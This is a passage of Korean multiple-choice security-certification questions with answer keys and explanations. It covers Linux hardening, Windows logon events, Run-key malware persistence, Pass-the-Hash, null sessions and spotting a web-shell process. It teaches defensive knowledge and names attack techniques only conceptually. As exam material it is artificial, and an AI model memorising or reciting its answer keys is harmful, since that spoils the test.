① /etc/securetty에 pts/0 추가 ② sshd_config에 PermitRootLogin no ③ /etc/passwd에서 root 셸을 /bin/bash로 지정 ④ umask 027 설정
정답: ② — ① securetty에 pts를 추가하면 오히려 원격 root 로그인 허용(그리고 SSH는 주로 sshd_config로 제어), ③ 그건 기본값, ④ 파일 생성 권한 설정으로 무관.
M10. 파일 삭제가 되지 않아 확인하니 lsattr 결과가 ----i---------e-------였다. 원인과 조치로 옳은 것은?
① SUID 설정, chmod u-s ② immutable 속성, chattr -i ③ Sticky bit, chmod -t ④ append-only 속성, chattr -a
정답: ② — i = immutable(root도 삭제 불가). ④ append-only는 a로 표시된다. ①③은 lsattr가 아니라 ls -l에 보이는 권한 비트.
M11. 윈도우에서 원격 데스크톱(RDP)으로 로그온에 성공했을 때 기록되는 이벤트 ID와 로그온 유형은?
① 4625, Type 3 ② 4624, Type 10 ③ 4634, Type 2 ④ 4720, Type 10
정답: ② — ① 실패·네트워크 로그온, ③ 로그오프·대화형, ④ 계정 생성 이벤트로 로그온과 무관.
M12. 악성코드가 사용자 로그온 시 자동 실행되도록 등록하는 레지스트리 위치로 가장 대표적인 것은?
① HKCR.txt ② HKCU\Software\Microsoft\Windows\CurrentVersion\Run ③ HKCC\System ④ HKLM\HARDWARE\DESCRIPTION
정답: ② — Run 키. ① 확장자 연결(악용 사례는 있으나 대표 자동 실행 위치는 아님), ③ 하드웨어 프로필, ④ 하드웨어 정보.
M13. 윈도우 비밀번호 해시에 대한 설명으로 옳은 것은?
① NTLM 해시는 Salt를 사용해 같은 비밀번호도 다른 해시가 된다.
② LM 해시는 대소문자를 구분하여 안전하다.
③ 해시만 탈취해도 비밀번호 없이 인증을 시도하는 Pass-the-Hash 공격이 가능하다.
④ 로컬 계정 해시는 NTDS.dit에 저장된다.
정답: ③ — ① NT 해시는 Salt 없음(MD4). ② LM은 대문자 변환으로 구분 없음. ④ 로컬 계정은 SAM, NTDS.dit는 도메인 컨트롤러.
M14. 널 세션(Null Session) 공격과 관련 깊은 공유와 대응 설정은?
① C$ - AutoShareWks ② ADMIN$ - PermitRootLogin ③ IPC$ - RestrictAnonymous ④ print$ - umask
정답: ③ — 빈 계정으로 IPC$에 연결해 정보를 수집한다. RestrictAnonymous로 익명 열거를 제한. ①은 기본 공유 자동 생성 제어, ②④는 리눅스 설정.
M15. ps -ef 결과 apache 사용자의 httpd 프로세스 자식으로 sh -c /tmp/.x/kworker가 실행 중이다. 가장 적절한 판단은?
① 정상적인 커널 스레드이다.
② 웹셸 등을 통한 침해로 악성 프로세스가 실행된 것으로 의심된다.
③ logrotate가 로그를 순환하는 중이다.
④ 좀비 프로세스이므로 무시해도 된다.
정답: ② — ① 진짜 커널 스레드는 [kworker/...]처럼 대괄호로 표시되고 /tmp에서 실행되지 않는다. ③ logrotate는 root가 cron/타이머로 실행한다. ④ 좀비는 STAT Z로 표시되며 실행 중이 아니다.